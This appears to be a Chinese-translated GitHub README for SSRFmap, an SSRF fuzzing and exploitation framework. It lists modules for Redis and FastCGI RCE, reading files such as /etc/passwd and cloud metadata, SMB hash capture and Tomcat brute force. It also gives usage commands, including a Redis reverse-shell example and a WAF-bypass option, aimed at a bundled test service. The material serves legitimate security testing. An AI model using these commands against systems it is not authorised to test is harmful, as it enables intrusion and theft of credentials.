swisskyrepo/SSRFmap

GitHub: swisskyrepo/SSRFmap

一款自动化的 SSRF 模糊测试与利用框架,帮助安全人员快速发现并利用 SSRF 漏洞。

Stars: 3531 | Forks: 562

# SSRFmap [![Python 3.4+](https://img.shields.io/badge/python-3.4+-blue.svg)](https://www.python.org/downloads/release/python-360/) [![Rawsec's CyberSecurity Inventory](https://inventory.raw.pm/img/badges/Rawsec-inventoried-FF5050_flat.svg)](https://inventory.raw.pm/) SSRF 常被用于利用其他服务执行操作,本框架旨在轻松发现并利用这些服务。SSRFmap 以 Burp 请求文件作为输入,并指定要模糊测试的参数。 ## 摘要 * [Modules](#modules) * [Install and Manual](#install-and-manual) * [Examples](#examples) * [SSRFmap - Tests](#ssrfmap-tests) * [Contribute](#contribute) * [Contributors](#thanks-to-the-contributors) ## 模块 以下模块已实现并可通过 `-m` 参数使用。 | 名称 | 描述 | | :------------- | :------------------------------------------------------- | | `axfr` | DNS 区域传输(AXFR) | | `fastcgi` | FastCGI RCE | | `redis` | Redis RCE | | `github` | Github Enterprise RCE < 2.8.7 | | `zabbix` | Zabbix RCE | | `mysql` | MySQL 命令执行 | | `postgres` | Postgres 命令执行 | | `docker` | 通过 API 进行 Docker 信息泄露 | | `smtp` | SMTP 发送邮件 | | `portscan` | 扫描目标主机的前 8000 个端口 | | `networkscan` | 对网络进行 HTTP Ping 扫描 | | `readfiles` | 读取文件,如 `/etc/passwd` | | `alibaba` | 从提供商读取文件(例如:元数据、用户数据) | | `aws` | 从提供商读取文件(例如:元数据、用户数据) | | `gce` | 从提供商读取文件(例如:元数据、用户数据) | | `digitalocean` | 从提供商读取文件(例如:元数据、用户数据) | | `socksproxy` | SOCKS4 代理 | | `smbhash` | 通过 UNC 路径强制 SMB 身份验证 | | `tomcat` | 对 Tomcat Manager 的暴力破解攻击 | | `custom` | 向监听服务发送自定义数据,例如:netcat | | `memcache` | 在 memcache 实例中存储数据 | ## 安装与手册 * 从 Github 仓库获取。 $ git clone https://github.com/swisskyrepo/SSRFmap $ cd SSRFmap/ $ pip3 install -r requirements.txt $ python3 ssrfmap.py usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]] 可选参数: -h, --help 显示此帮助信息并退出 -r REQFILE SSRF 请求文件 -p PARAM 要模糊测试的 SSRF 参数 -m MODULES 要启用的 SSRF 模块(多个模块用 `,` 分隔) -l HANDLER 为反向 shell 启动一个处理器 -v [VERBOSE] 启用详细输出 --lhost LHOST 反向 shell 的 LHOST 或要访问的网络中的 IP --lport LPORT 反向 shell 的 LPORT 或要访问的网络中的端口 --uagent USERAGENT 要使用的 User Agent --ssl [SSL] 在不验证的情况下使用 HTTPS --proxy PROXY 使用 HTTP(s) 代理(例如:http://localhost:8080) --level [LEVEL] 测试级别(1-5,默认为:1) * Docker $ git clone https://github.com/swisskyrepo/SSRFmap $ docker build --no-cache -t ssrfmap . $ docker run -it ssrfmap ssrfmap.py [OPTIONS] $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py ## 示例 首先你需要一个带有要模糊测试参数的请求,Burp 请求效果很好。 它们应该如下所示,更多示例可在 **./examples** 文件夹中找到。 ``` POST /ssrf HTTP/1.1 Host: 127.0.0.1:5000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://mysimple.ssrf/ Content-Type: application/x-www-form-urlencoded Content-Length: 31 Connection: close Upgrade-Insecure-Requests: 1 url=https%3A%2F%2Fwww.google.fr ``` 使用 `-m` 后跟模块名称(如果想同时运行多个模块,用 `,` 分隔)。 ``` # 在 localhost 上启动端口扫描并读取默认文件 python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan ``` 如果你想要注入到头部、GET 或 POST 参数中,你只需要指定参数名称。 ``` python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test ``` 如果需要自定义 User-Agent,请使用 `--uagent`。某些目标会使用 HTTPS,你可以使用 `--ssl` 启用它。 ``` # 对使用自定义 user-agent 的 HTTPS 端点发起端口扫描 python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" ``` 某些模块允许你创建反向连接,你需要指定 `LHOST` 和 `LPORT`。SSRFmap 也可以监听传入的反向 Shell。 ``` # 触发 Redis 上的反向 shell python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 # -l 在指定端口创建反向 shell 的监听器 # --lhost 和 --lport 的用法与 Metasploit 类似,这些值用于创建反向 shell 载荷 ``` 当目标受到 WAF 或某些过滤器保护时,你可以尝试使用 `--level` 参数进行一系列有效载荷和编码。 ``` # --level:能够调整载荷以绕过某些 IDS/WAF。例如:127.0.0.1 -> [::] -> 0000: -> ... ``` ## SSRFmap 测试 测试该框架的一种快速方式是使用 `data/example.py` SSRF 服务。 * 本地 FLASK_APP=examples/example.py flask run & python ssrfmap.py -r examples/request.txt -p url -m readfiles * Docker docker build --no-cache -t ssrfmap . # 运行示例 SSRF HTTP 服务 docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py # 运行示例 SSRF DNS 服务 docker exec -u root:root -it example python examples/ssrf_dns.py # 运行 SSRFmap 工具 docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles 运行测试请求: ``` docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab ``` ### 感谢贡献者

## 灵感来源于 - [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai](https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html) - [Blog on Gopherus Tool -SpyD3r](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) - [Gopherus - Github](https://github.com/tarunkant/Gopherus) - [SSRF testing - cujanovic](https://github.com/cujanovic/SSRF-Testing)
标签:API 滥用, AWS, Burp Suite, DNS 区域传输, Docker, DPI, FastCGI, Fuzzing, PostgreSQL, Python, Python 3.4+, RCE, Redis, SMTP, SSRF, SSRF 映射, Zabbix, 云存储安全, 代码执行, 内网探测, 命令执行, 安全测试, 安全防御评估, 开源安全工具, 攻击性安全, 数据统计, 文件读取, 无后门, 端口扫描, 网络扫描, 网络攻防, 请求拦截, 请求重放, 逆向工具, 逆向工程平台, 阿里云元数据